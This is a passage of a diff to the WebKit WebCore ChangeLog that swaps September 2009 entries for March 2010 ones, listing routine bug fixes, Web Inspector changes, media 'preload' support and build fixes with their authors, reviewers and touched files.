-        (WebCore::screenAvailableRect):
-        * platform/gtk/PopupMenuGtk.cpp:
-        (WebCore::PopupMenu::show):
-        * platform/gtk/ScrollViewGtk.cpp:
-        (WebCore::ScrollView::platformAddChild):
-        (WebCore::ScrollView::platformRemoveChild):
-        (WebCore::ScrollView::visibleContentRect):
-        * platform/gtk/WidgetGtk.cpp:
-        (WebCore::Widget::setFocus):
-        (WebCore::Widget::setCursor):
-        * platform/qt/PlatformScreenQt.cpp:
-        (WebCore::screenDepth):
-        (WebCore::screenDepthPerComponent):
-        (WebCore::screenIsMonochrome):
-        (WebCore::screenRect):
-        (WebCore::screenAvailableRect):
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::show):
-        * platform/qt/WidgetQt.cpp:
-        (WebCore::Widget::setCursor):
-        * platform/win/PlatformScreenWin.cpp:
-        (WebCore::monitorInfoForWidget):
-        * platform/win/PopupMenuWin.cpp:
-        (WebCore::PopupMenu::show):
-        (WebCore::PopupMenu::calculatePositionAndSize):
-        (WebCore::PopupMenu::wndProc):
-        * platform/wx/RenderThemeWx.cpp:
-        (WebCore::nativeWindowForRenderObject):
-        * platform/wx/ScrollbarThemeWx.cpp:
-        (WebCore::ScrollbarThemeWx::paint):
-        * plugins/gtk/PluginViewGtk.cpp:
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::forceRedraw):
-        (WebCore::PluginView::platformStart):
-        * plugins/mac/PluginViewMac.cpp:
-        (WebCore::PluginView::platformStart):
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::platformStart):
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::forceRedraw):
-        (WebCore::PluginView::platformStart):
+        https://bugs.webkit.org/show_bug.cgi?id=34726
 
-2009-09-18  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        * Android.jscbindings.mk
+        * Android.v8bindings.mk
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::openDatabase):
+        * bindings/js/JSDatabaseCallback.cpp: Added.
+        (WebCore::JSDatabaseCallback::JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::~JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::handleEvent):
+        * bindings/js/JSDatabaseCallback.h: Added.
+        (WebCore::JSDatabaseCallback::create):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::openDatabaseCallback):
+        * bindings/v8/custom/V8DatabaseCallback.cpp: Added.
+        (WebCore::V8DatabaseCallback::V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::~V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::handleEvent):
+        * bindings/v8/custom/V8DatabaseCallback.h: Added.
+        (WebCore::V8DatabaseCallback::create):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::openDatabase):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * storage/Database.cpp:
+        (WebCore::DatabaseCreationCallbackTask::create):
+        (WebCore::DatabaseCreationCallbackTask::performTask):
+        (WebCore::DatabaseCreationCallbackTask::DatabaseCreationCallbackTask):
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+        (WebCore::Database::performCreationCallback):
+        * storage/Database.h:
+        (WebCore::Database::isNew):
+        * storage/DatabaseCallback.h: Added.
+        (WebCore::DatabaseCallback::~DatabaseCallback):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        * workers/WorkerContext.h:
 
-        Reviewed by Simon Hausmann.
+2010-03-03  Alexander Pavlov  <apavlov@chromium.org>
 
-        [Qt] Web inspector UI adjustments specific to the Qt platform:
-        - Hide the close button
-        - Hide the dock button
-        - Disable the draggable toolbar
+        Reviewed by Pavel Feldman.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29384
+        Web Inspector: resources panel only shows uncompressed resource size.
+        https://bugs.webkit.org/show_bug.cgi?id=35403
 
+        * English.lproj/localizedStrings.js:
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::updateScriptObject):
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        * inspector/front-end/AuditRules.js:
+        (WebInspector.AuditRules.GzipRule.prototype.doRun):
+        (WebInspector.AuditRules.GzipRule.prototype._shouldCompress):
+        * inspector/front-end/ImageView.js:
+        (WebInspector.ImageView):
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource.prototype.get resourceSize):
+        (WebInspector.Resource.prototype.set resourceSize):
+        (WebInspector.Resource.prototype.get transferSize):
+        (WebInspector.Resource.CompareBySize):
+        (WebInspector.Resource.CompareByTransferSize):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.populateSidebar):
+        (WebInspector.ResourceTimeCalculator.prototype.computeBarGraphLabels):
+        (WebInspector.ResourceTransferSizeCalculator.prototype.computeBarGraphLabels):
+        (WebInspector.ResourceTransferSizeCalculator.prototype.computeBarGraphPercentages):
+        (WebInspector.ResourceTransferSizeCalculator.prototype._value):
+        (WebInspector.ResourceTransferSizeCalculator.prototype._networkBytes):
+        (WebInspector.ResourceSidebarTreeElement.CompareByDescendingTransferSize):
+        (WebInspector.ResourceGraph.prototype.refreshLabelPositions):
+        (WebInspector.ResourceGraph.prototype.refresh):
         * inspector/front-end/inspector.css:
         * inspector/front-end/inspector.js:
-        (WebInspector.toolbarDragStart):
-
-2009-09-18  Joerg Bornemann  <joerg.bornemann@nokia.com>
+        (WebInspector.updateResource):
 
-        Reviewed by Simon Hausmann.
+2010-03-03  Dan Bernstein  <mitz@apple.com>
 
-        QtWebKit Windows CE compile fixes
+        Build fix.
 
-        Exclude certain pure-WINCE specific code paths from the Qt build.
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::removeChildren):
 
-        * platform/graphics/BitmapImage.h:
-        * platform/graphics/FontCache.h:
-        * platform/graphics/MediaPlayer.cpp:
-        * platform/text/TextEncodingRegistry.cpp:
-        (WebCore::buildBaseTextCodecMaps):
-        (WebCore::extendTextCodecMaps):
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::stop): Guard this code block with NETSCAPE_PLUGIN_API as
-        the corresponding PluginViewWndProc has the same guard in the header file.
+2010-03-03  Pavel Feldman  <pfeldman@chromium.org>
 
-2009-09-18  Steve Block  <steveblock@google.com>
+        Reviewed by Timothy Hatcher.
 
-        Reviewed by Dimitri Glazkov.
+        Web Inspector: Get rid of synchronous debuggerEnabled, profilerEnabled calls.
 
-        Geolocation does not correctly handle Infinity for PositionOptions properties.
-        https://bugs.webkit.org/show_bug.cgi?id=29099
+        https://bugs.webkit.org/show_bug.cgi?id=32331
 
-        * bindings/js/JSGeolocationCustom.cpp: Modified.
-        (WebCore::createPositionOptions): Modified. If timeout or maximumAge is positive infinity, applies these values as a special case.
-        * page/PositionOptions.h: Modified.
-        (WebCore::PositionOptions::hasMaximumAge): Added. Determines whether the object has a maximum age.
-        (WebCore::PositionOptions::maximumAge): Modified. Asserts that the object has a maximum age.
-        (WebCore::PositionOptions::clearMaximumAge): Added. Clears the maximum age.
-        (WebCore::PositionOptions::setMaximumAge): Modified. Registers that the maximum age has been set.
-        (WebCore::PositionOptions::PositionOptions): Modified. Registers that the maximum age has been set.
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype.removeBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel):
+        (WebInspector.ProfilesPanel.prototype.profilerWasEnabled):
+        (WebInspector.ProfilesPanel.prototype.profilerWasDisabled):
+        (WebInspector.ProfilesPanel.prototype._updateInterface):
+        (WebInspector.ProfilesPanel.prototype._enableProfiling):
+        (WebInspector.ProfilesPanel.prototype._toggleProfiling):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasEnabled):
+        (WebInspector.ScriptsPanel.prototype.debuggerWasDisabled):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        (WebInspector.ScriptsPanel.prototype.canShowSourceLine):
+        (WebInspector.ScriptsPanel.prototype._updateDebuggerButtons):
+        (WebInspector.ScriptsPanel.prototype._enableDebugging):
+        (WebInspector.ScriptsPanel.prototype._toggleDebugging):
 
-2009-09-17  Sam Weinig  <sam@webkit.org>
+2010-03-03  Eric Carlson  <eric.carlson@apple.com>
 
         Reviewed by Adele Peterson.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29276
-        REGRESSION(r48334): WebKit crashes on file select by drag
-
-        Document.elementFromPoint now takes point in client space, not page space.
-
-        * page/DragController.cpp:
-        (WebCore::DragController::tryDocumentDrag):
-        (WebCore::DragController::concludeEditDrag):
-
-2009-09-17  Albert J. Wong  <ajwong@chromium.org>
-
-        Reviewed by David Levin.
-
-        Reimplement default media UI for Mac Chromium to match the style
-        of the Windows and Linux versions.  Also breaks the dependency
-        on the internal wk* functions that were previously used to
-        render the media controller widgets.
-        https://bugs.webkit.org/show_bug.cgi?id=29161
+        Replace 'autobuffer' attribute with 'preload' to align with spec revision 4811.
+        https://bugs.webkit.org/show_bug.cgi?id=35385
+        rdar://problem/7689602
 
-        No media layout tests are currently enabled in Mac Chromium, so
-        nothing needs rebaselineing, etc.
+        Tests: media/audio-constructor-preload.html
+               media/video-dom-preload.html
 
-        This is a recommit of r48438 with a compile fix and merges of
-        recent changes to the file.
+        * html/HTMLAttributeNames.in: Remove autobuffer, add preload
 
-        * css/mediaControlsChromium.css:
-        * rendering/RenderThemeChromiumMac.h:
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::mediaElementParent):
-        (WebCore::RenderThemeChromiumMac::extraMediaControlsStyleSheet):
-        (WebCore::mediaSliderThumbImage):
-        (WebCore::mediaVolumeSliderThumbImage):
-        (WebCore::RenderThemeChromiumMac::paintSliderTrack):
-        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize):
-        (WebCore::RenderThemeChromiumMac::paintMediaButtonInternal):
-        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderTrack):
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintMediaVolumeSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintMediaControlsBackground):
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize):
-
-2009-09-17  Brian Weinstein  <bweinstein@apple.com>
+        * html/HTMLAudioElement.cpp:
+        (WebCore::HTMLAudioElement::createForJSConstructor): set preload to 'auto' instead of 
+            autobuffer to true.
 
-        Reviewed by Timothy Hatcher.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::HTMLMediaElement): Initialize m_preload.
+        (WebCore::HTMLMediaElement::parseMappedAttribute): Deal with 'preload' attribute.
+        (WebCore::HTMLMediaElement::loadResource): Call setPreload() on the newly created MediaPlayer,
+            before calling load() so it can pass the setting through to the media engine.
+        (WebCore::HTMLMediaElement::preload): New.
+        (WebCore::HTMLMediaElement::setPreload): Ditto
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.idl:
 
-        The Console scope bar should have a divider between All and the other possible
-        values (Errors, Warnings, Logs). It will look something like:
-        
-        All | Errors Warnings Logs.
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::MediaPlayer): Initialize m_preload.
+        (WebCore::MediaPlayer::load): Pass m_preload to newly created media engine.
+        (WebCore::MediaPlayer::preload): New, return m_preload.
+        (WebCore::MediaPlayer::setPreload): New, set m_preload.
+        * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayer::):
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::setPreload):
 
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.createDividerElement):
-        (WebInspector.ConsoleView):
-        * inspector/front-end/inspector.css:
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::setPreload): Renamed from setAutoplay, fix logic for preload.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-2009-09-17  Sam Weinig  <sam@webkit.org>
+2010-03-03  Dan Bernstein  <mitz@apple.com>
 
-        Reviewed by Mark Rowe.
+        Reviewed by Sam Weinig.
 
-        Remove additional references to JSVoidCallback which no longer exists.
+        <rdar://problem/7682756> Assertion failure when replacing the contents of a <select>
 
-        * DerivedSources.cpp:
-        * WebCore.vcproj/WebCore.vcproj:
+        Test: fast/dom/remove-children-notification-order.html
 
-2009-09-17  Sam Weinig  <sam@webkit.org>
+        * dom/ContainerNode.cpp:
+        (WebCore::ContainerNode::removeChildren): Changed to call childrenChanged()
+        before calling removedFromDocument() on each removed child, which matches
+        the order removeChild() does things, and avoids the assertion. This required
+        temporarily storing the removed children in a vector.
+        Also added comments about other discrepancies between this function and
+        removeChild().
 
-        Reviewed by Brady Eidson.
+2010-03-03  Adam Barth  <abarth@webkit.org>
 
-        Remove commented out onhashchange attribute now that it is implemented.
+        Reviewed by Darin Adler.
 
-        * page/DOMWindow.idl:
+        Document cookieURL and firstPartyForCookies
+        https://bugs.webkit.org/show_bug.cgi?id=35613
 
-2009-09-17  Anders Carlsson  <andersca@apple.com>
+        Some folks asked what the cookieURL and the firstPartyForCookies were
+        on IRC.  This patch documents these properties in the code so folks
+        don't have to ask on IRC anymore.
 
-        Reviewed by Oliver Hunt.
+        * dom/Document.h:
 
-        <rdar://problem/7007541> 
-        CrashTracer: 4800crashes in Safari at com.apple.WebKit • WTF::HashTableIterator...
-        
-        Make RuntimeObjectImp more robust against m_instance being a null (which can happen if an OOP plug-in
-        crashes while we're calling into it).
-        
-        * bridge/runtime_object.cpp:
-        (JSC::RuntimeObjectImp::RuntimeObjectImp):
-        (JSC::RuntimeObjectImp::~RuntimeObjectImp):
-        (JSC::RuntimeObjectImp::invalidate):
-        (JSC::RuntimeObjectImp::fallbackObjectGetter):
-        (JSC::RuntimeObjectImp::fieldGetter):
-        (JSC::RuntimeObjectImp::methodGetter):
-        (JSC::RuntimeObjectImp::getOwnPropertySlot):
-        (JSC::RuntimeObjectImp::getOwnPropertyDescriptor):
-        (JSC::RuntimeObjectImp::put):
-        (JSC::RuntimeObjectImp::defaultValue):
-        (JSC::RuntimeObjectImp::getCallData):
-        (JSC::RuntimeObjectImp::getConstructData):
-        (JSC::RuntimeObjectImp::getPropertyNames):
-        * bridge/runtime_object.h:
-        (JSC::RuntimeObjectImp::getInternalInstance):
+2010-03-03  Arno Renevier  <arno@renevier.net>
 
-2009-09-17  Yury Semikhatsky  <yurys@chromium.org>
+        Reviewed by Gustavo Noronha Silva.
 
-        Reviewed by Timothy Hatcher.
+        [Gtk]: assertion triggered when geolocation getCurrentPosition without an option argument.
+        https://bugs.webkit.org/show_bug.cgi?id=35666
 
-        Wrap primitive values (as objects) in InspectorController::wrap.
+        * platform/gtk/GeolocationServiceGtk.cpp:
+        (WebCore::GeolocationServiceGtk::startUpdating):
 
-        https://bugs.webkit.org/show_bug.cgi?id=28983
+2010-03-03  Fridrich Strba  <fridrich.strba@bluewin.ch>
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::wrapObject): objects of any type will be wrapped into proxies,
-         only object proxies will have objectId.
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.completions): there is InjectedScript.getCompletionsi
-         that accepts an expression and returns possible completions. This way we don't need to wrap
-         and unwrap the completions result into a proxy object.
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getCompletions):
-        (InjectedScript.evaluate):
-        (InjectedScript._evaluateOn):
-        (InjectedScript.createProxyObject):
-        * inspector/front-end/InjectedScriptAccess.js:
+        Reviewed by Xan Lopez.
 
-2009-09-17  Nate Chapin  <japhet@chromium.org>
+        Miscellaneous little fixes for the windows build of webkit-gtk
+        https://bugs.webkit.org/show_bug.cgi?id=35640
 
-        Reviewed by Dimitri Glazkov.
+        * GNUmakefile.am: dist two new files concerning mathml support.
 
-        Wrap PageTransitionEvents properly for V8's use.
+2010-03-03  Xan Lopez  <xlopez@igalia.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=29340
+        Unreviewed distcheck fix.
 
-        Fixes Chromium's failures for LayoutTests/fast/events/pageshow-pagehide.html.
+        Add new file to the build.
 
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertEventToV8Object): Wrap PageTransitionEvents properly.
+        * GNUmakefile.am:
 
-2009-09-17  Simon Fraser  <simon.fraser@apple.com>
+2010-03-03  Antti Koivisto  <koivisto@iki.fi>
 
-        Reviewed by Dave Hyatt.
+        Reviewed by Oliver Hunt.
 
-        Hardware-accelerated opacity transition on inline asserts
-        https://bugs.webkit.org/show_bug.cgi?id=29342
+        Make IntPoint usable as a hash key
         
-        Remove an erroneous toRenderBox() that could be called on a RenderInline; we can just
-        pass an empty size, because the box size is only required for transform animations.
-
-        Test: compositing/transitions/opacity-on-inline.html
-
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::startTransition):
-
-2009-09-17  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Eric Seidel.
-
-        [V8] OwnHandle might get a weak callback after destruction
-        https://bugs.webkit.org/show_bug.cgi?id=29172
-
-        Be sure to clear out weak reference so we don't get a weak callback
-        after we've destructed ourselves.  Also, removed some tricky methods
-        that had no clients.
-
-        * bindings/v8/OwnHandle.h:
-        (WebCore::OwnHandle::clear):
-
-2009-09-17  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Unreviewed, build fix.
-
-        [V8] Partial roll out of http://trac.webkit.org/changeset/48455 to
-        fix crashes that started happening in V8Proxy::getEnteredContext().
-
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::execute):
-
-2009-09-17  Chris Fleizach  <cfleizach@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        AX: labels of checkboxes should, when hit-tested, return the checkbox
-        https://bugs.webkit.org/show_bug.cgi?id=29335
-
-        When an accessibility hit test is done and it hits the label of a control element,
-        the control element should be returned instead of nothing, since the label
-        itself is usually ignored.
-
-        Test: accessibility/label-for-control-hittest.html
-
-        * accessibility/AccessibilityObject.h:
-        (WebCore::AccessibilityObject::correspondingControlForLabelElement):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
-        (WebCore::AccessibilityRenderObject::doAccessibilityHitTest):
-        (WebCore::AccessibilityRenderObject::correspondingControlForLabelElement):
-        * accessibility/AccessibilityRenderObject.h:
+        https://bugs.webkit.org/show_bug.cgi?id=35586
 
-2009-09-17  Avi Drissman  <avi@chromium.org>
-
-        Reviewed by Dimitri Glazkov, build fix.
-
-        Change to make RenderThemeChromiumMac compile inside of non PLATFORM(MAC).
-        https://bugs.webkit.org/show_bug.cgi?id=29243
-
-        Covered by existing tests.
-
-        * rendering/RenderThemeChromiumMac.mm:
-        (WebCore::RenderThemeChromiumMac::paintMediaSliderTrack):
-
-2009-09-17  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        [V8] Accessing properties/methods of an object, created with document.implementation.createDocumentType
-        creates nodes that have no document (ScriptExecutionContext), which in turn produces NULL-ref crashes.
-        https://bugs.webkit.org/show_bug.cgi?id=26402
-
-        Test: fast/dom/DOMImplementation/detached-doctype.html
-              fast/dom/doctype-event-listener-crash.html
-
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::getEventListener): Added an extra NULL-check.
-
-2009-09-17  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        FontDescription.h includes RenderStyleConstants.h, which violates layering
-        https://bugs.webkit.org/show_bug.cgi?id=29327
-
-        * GNUmakefile.am: Added FontSmoothingMode.h.
-        * WebCore.gypi: Added FontSmoothingMode.h.
-        * WebCore.vcproj/WebCore.vcproj: Added FontSmoothingMode.h.
-        * WebCore.xcodeproj/project.pbxproj: Added FontSmoothingMode.h and made
-            it a private header.
-        * css/CSSComputedStyleDeclaration.cpp:
-        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Get the
-            font smoothing mode via the font description.
-        * css/CSSPrimitiveValueMappings.h: Include FontSmoothingMode.h
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Updated for the rename
-            of FontSmoothing to FontSmoothingMode.
-        (WebCore::CSSPrimitiveValue::operator FontSmoothingMode): Ditto.
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty): Get the font smoothing mode
-            via the font description.
-        * platform/graphics/FontDescription.h: Do not include
-            RenderStyleConstants.h.
-        (WebCore::FontDescription::fontSmoothing): Updated for the rename of
-            FontSmoothing to FontSmoothingMode.
-        (WebCore::FontDescription::setFontSmoothing): Ditto.
-        * platform/graphics/FontSmoothingMode.h: Added.
-        (WebCore::FontSmoothingMode): Moved the FontSmoothing enum from
-            RenderStyleConstants here and renamed it to this.
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::fontSmoothing): Removed this getter, since
-            this can be accessed via the font description.
-        * rendering/style/RenderStyleConstants.h: Moved the FontSmoothing enum
-            from here to FontSmoothingMode.h.
-
-2009-09-17  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx 2.9 build fix.
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * platform/graphics/IntPointHash.h: Added.
+        (WTF::IntPointHash::hash):
+        (WTF::IntPointHash::equal):
+        (WTF::):
 
-        * platform/wx/wxcode/gtk/scrollbar_render.cpp:
-        (wxGetGdkWindowForDC):
+2010-03-02  Eric Uhrhane  <ericu@chromium.org>
 
-2009-09-16  Simon Fraser  <simon.fraser@apple.com>
+        Reviewed by David Levin.
 
-        Reviewed by Dan Bernstein.
+        Move database enable bit fully out of settings
+        This is stage one of a three-stage commit [webkit, then chromium, then
+        webkit again].  In this change I'm adding calls to
+        Database::setIsAvailable inside Settings::setDatabaseEnabled and
+        anywhere else that called it, and switching webkit fully over to using
+        that flag [added in a previous checkin].  Phase two will remove
+        Chromium's use of Settings for the Database, and phase three will remove
+        the Setting for the Database enable entirely, leaving only
+        Database::isAvailable/setIsAvailable.
 
-        Elements appear behind <video> when they should be in front sometimes
-        https://bugs.webkit.org/show_bug.cgi?id=29314
-        
-        r45598 added logic that tests for overlap with <video> to determine when to throw
-        a layer into compositing mode. That logic was incorrect in some cases, and this patch
-        fixes it. When testing overlap, the layer needs to be composited iff some previous layer
-        is composited (which adds a rect to the overlay map), and there is overlap.
+        No new tests; tested by existing storage tests.
 
-        Test: compositing/geometry/video-opacity-overlay.html
+        https://bugs.webkit.org/show_bug.cgi?id=35310
 
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::CompositingState::CompositingState):
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
+        * WebCore.base.exp: Export Database::setIsAvailable
+        * WebCore.xcodeproj/project.pbxproj: Export needed headers as Private
+        * page/DOMWindow.cpp: Read isAvailable, not Settings::isDatabaseEnabled
+        (WebCore::DOMWindow::openDatabase):
+        * page/Settings.cpp:  Add a call to Database::setIsAvailable.
+        (WebCore::Settings::setDatabasesEnabled):
 
-2009-09-17  Avi Drissman  <avi@google.com>
+2010-03-02  Tony Chang  <tony@chromium.org>
 
         Reviewed by Darin Fisher.
 
-        Update the Chromium Mac theming files (RenderTheme and Theme) to be
-        up-to-date.
-        
-        https://bugs.webkit.org/show_bug.cgi?id=29243
-        http://crbug.com/19604
-
-        Covered by existing tests.
+        add a flag to WebURLResponse so we can identify multipart content
+        https://bugs.webkit.org/show_bug.cgi?id=35628
 
-        * WebCore.gypi:
-        * platform/chromium/ThemeChromiumMac.h: Added.
-        (WebCore::ThemeChromiumMac::ThemeChromiumMac):
-        (WebCore::ThemeChromiumMac::~ThemeChromiumMac):
-        (WebCore::ThemeChromiumMac::controlRequiresPreWhiteSpace):
-        * platform/chromium/ThemeChromiumMac.mm: Added.
-        (WebCore::):
-        (WebCore::platformTheme):
-        (WebCore::controlSizeForFont):
-        (WebCore::sizeFromFont):
-        (WebCore::setControlSize):
-        (WebCore::updateStates):
-        (WebCore::inflateRect):
-        (WebCore::checkboxSizes):
-        (WebCore::checkboxMargins):
-        (WebCore::checkboxSize):
-        (WebCore::checkbox):
-        (WebCore::paintCheckbox):
-        (WebCore::radioSizes):
-        (WebCore::radioMargins):
-        (WebCore::radioSize):
-        (WebCore::radio):
-        (WebCore::paintRadio):
-        (WebCore::buttonSizes):
-        (WebCore::buttonMargins):
-        (WebCore::button):
-        (WebCore::paintButton):
-        (WebCore::ThemeChromiumMac::baselinePositionAdjustment):
-        (WebCore::ThemeChromiumMac::controlFont):
-        (WebCore::ThemeChromiumMac::controlSize):
-        (WebCore::ThemeChromiumMac::minimumControlSize):
-        (WebCore::ThemeChromiumMac::controlBorder):
-        (WebCore::ThemeChromiumMac::controlPadding):
-        (WebCore::ThemeChromiumMac::inflateControlPaintRect):
-        (WebCore::ThemeChromiumMac::paint):
-        * platform/graphics/FloatPoint.h:
-        * platform/graphics/FloatRect.h:
-        * platform/graphics/FloatSize.h:
-        * platform/graphics/IntRect.h:
-        * rendering/RenderThemeChromiumMac.h:
-        (WebCore::RenderThemeChromiumMac::supportsControlTints):
-        (WebCore::RenderThemeChromiumMac::scrollbarControlSizeForPart):
-        (WebCore::RenderThemeChromiumMac::supportsSelectionForegroundColors):
-        * rendering/RenderThemeChromiumMac.mm:
-        (-[WebCoreRenderThemeNotificationObserver systemColorsDidChange:]):
-        (-[RTCMFlippedView isFlipped]):
-        (-[RTCMFlippedView currentEditor]):
-        (WebCore::):
-        (WebCore::FlippedView):
-        (WebCore::RenderTheme::themeForPage):
-        (WebCore::RenderThemeChromiumMac::platformActiveListBoxSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumMac::platformInactiveListBoxSelectionForegroundColor):
-        (WebCore::RenderThemeChromiumMac::platformInactiveListBoxSelectionBackgroundColor):
-        (WebCore::RenderThemeChromiumMac::systemFont):
-        (WebCore::convertNSColorToColor):
-        (WebCore::menuBackgroundColor):
-        (WebCore::RenderThemeChromiumMac::systemColor):
-        (WebCore::RenderThemeChromiumMac::isControlStyled):
-        (WebCore::RenderThemeChromiumMac::adjustRepaintRect):
-        (WebCore::RenderThemeChromiumMac::inflateRect):
-        (WebCore::RenderThemeChromiumMac::convertToPaintingRect):
-        (WebCore::RenderThemeChromiumMac::setFontFromControlSize):
-        (WebCore::RenderThemeChromiumMac::paintTextField):
-        (WebCore::RenderThemeChromiumMac::paintCapsLockIndicator):
-        (WebCore::RenderThemeChromiumMac::paintTextArea):
-        (WebCore::RenderThemeChromiumMac::paintMenuList):
-        (WebCore::TopGradientInterpolate):
-        (WebCore::BottomGradientInterpolate):
-        (WebCore::MainGradientInterpolate):
-        (WebCore::TrackGradientInterpolate):
-        (WebCore::RenderThemeChromiumMac::paintMenuListButtonGradients):
-        (WebCore::RenderThemeChromiumMac::paintMenuListButton):
-        (WebCore::RenderThemeChromiumMac::popupInternalPaddingLeft):
-        (WebCore::RenderThemeChromiumMac::popupInternalPaddingRight):
-        (WebCore::RenderThemeChromiumMac::popupInternalPaddingTop):
-        (WebCore::RenderThemeChromiumMac::popupInternalPaddingBottom):
-        (WebCore::RenderThemeChromiumMac::adjustMenuListButtonStyle):
-        (WebCore::RenderThemeChromiumMac::adjustSliderTrackStyle):
-        (WebCore::RenderThemeChromiumMac::adjustSliderThumbStyle):
-        (WebCore::RenderThemeChromiumMac::paintSliderThumb):
-        (WebCore::RenderThemeChromiumMac::paintSearchField):
-        (WebCore::RenderThemeChromiumMac::setSearchCellState):
-        (WebCore::RenderThemeChromiumMac::adjustSearchFieldStyle):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldCancelButton):
-        (WebCore::RenderThemeChromiumMac::adjustSearchFieldCancelButtonStyle):
-        (WebCore::RenderThemeChromiumMac::adjustSearchFieldDecorationStyle):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldDecoration):
-        (WebCore::RenderThemeChromiumMac::adjustSearchFieldResultsDecorationStyle):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsDecoration):
-        (WebCore::RenderThemeChromiumMac::adjustSearchFieldResultsButtonStyle):
-        (WebCore::RenderThemeChromiumMac::paintSearchFieldResultsButton):
-        (WebCore::mediaControllerTheme):
-        (WebCore::RenderThemeChromiumMac::adjustSliderThumbSize):
-        (WebCore::getMediaUIPartStateFlags):
-        (WebCore::getUnzoomedRectAndAdjustCurrentContext):
-        (WebCore::RenderThemeChromiumMac::paintMediaFullscreenButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaMuteButton):
-        (WebCore::RenderThemeChromiumMac::paintMediaPlayButton):
